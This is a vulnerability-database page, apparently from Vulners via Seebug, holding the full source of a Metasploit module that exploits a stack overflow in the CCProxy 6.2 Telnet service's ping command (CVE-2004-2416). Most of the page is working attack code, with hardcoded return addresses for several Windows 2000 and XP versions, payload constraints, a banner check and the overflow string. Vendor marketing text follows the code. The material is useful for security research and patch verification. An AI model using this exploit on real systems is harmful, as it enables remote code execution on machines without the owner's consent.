Lucene search
K

CCProxy <= 6.2 - Telnet Proxy Ping Overflow Exploit (meta)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Exploits CCProxy <= v6.2 Telnet service ping command stack overflo

Code

                                                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/ 
##

require &#39;msf/core&#39;

module Msf

class Exploits::Windows::Proxy::CCProxy_Telnet_Ping &#60; Msf::Exploit::Remote
	
	include Exploit::Remote::Tcp

	def initialize(info = {}) 
		super(update_info(info,    
			&#39;Name&#39;		=&#62; &#39;CCProxy &#60;= v6.2 Telnet Proxy Ping Overflow&#39;,
			&#39;Description&#39;	=&#62; %q{
            			This module exploits the YoungZSoft CCProxy &#60;= v6.2 suite Telnet service.
				The stack is overwritten when sending an overly long address to the &#39;ping&#39; command.
			},
			&#39;Author&#39; 	=&#62; [ &#39;Patrick Webster &#60;patrick[at]aushack.com&#62;&#39; ],
			&#39;Arch&#39;		=&#62; [ ARCH_X86 ], 
			&#39;License&#39;       =&#62; MSF_LICENSE,
			&#39;Version&#39;       =&#62; &#39;$Revision$&#39;,
			&#39;References&#39;    =&#62;
			[
				[ &#39;BID&#39;, &#39;11666 &#39; ],
				[ &#39;CVE&#39;, &#39;2004-2416&#39; ],
				[ &#39;MIL&#39;, &#39;621&#39; ],
				[ &#39;OSVDB&#39;, &#39;11593&#39; ],
			],         
			&#39;Privileged&#39;		=&#62; false,
			&#39;DefaultOptions&#39;	=&#62;
			{
				&#39;EXITFUNC&#39; 	=&#62; &#39;thread&#39;,
			},
			&#39;Payload&#39; =&#62;
				{ 
					&#39;Space&#39;		=&#62; 1012,
					&#39;BadChars&#39; 	=&#62; &#34;\x00\x07\x08\x0a\x0d&#34;,
				},
			&#39;Platform&#39; =&#62; [&#39;win&#39;],
			&#39;Targets&#39; =&#62;
			[
			# Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
				[
				&#39;Windows 2000 Pro All - English&#39;,
				{
					&#39;Ret&#39;	=&#62; 0x75023411, # call esi ws2help.dll
				}
				],
				[
				&#39;Windows 2000 Pro All - Italian&#39;,
				{
					&#39;Ret&#39;	=&#62; 0x74fd2b81, # call esi ws2help.dll
				}
				],
				[
				&#39;Windows 2000 Pro All - French&#39;,
				{
					&#39;Ret&#39;	=&#62; 0x74fa2b22, # call esi ws2help.dll
				}
				],
                 		[
				&#39;Windows XP SP0/1 - English&#39;,
				{
					&#39;Ret&#39;	=&#62; 0x71aa1a97, # call esi ws2help.dll
				}
				],
                 		[
				&#39;Windows XP SP2 - English&#39;,
				{
					&#39;Ret&#39;	=&#62; 0x71aa1b22, # call esi ws2help.dll
				}
				],
			],
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 11 2004&#39;))
            
			register_options(
			[
				Opt::RPORT(23),
			], self.class)
	end

	def autofilter
		false
	end

	def check 
		connect
		banner = sock.get_once(-1,3)

		if (banner =~ /CCProxy Telnet Service Ready/)
			return Exploit::CheckCode::Appears 
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		
		sploit  = &#34;p &#34; + payload.encoded + [target[&#39;Ret&#39;]].pack(&#39;V&#39;) + make_nops(7)
		sock.put(sploit + &#34;\r\n&#34;)

		handler
		disconnect
	end

end
end

# milw0rm.com [2007-09-03]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11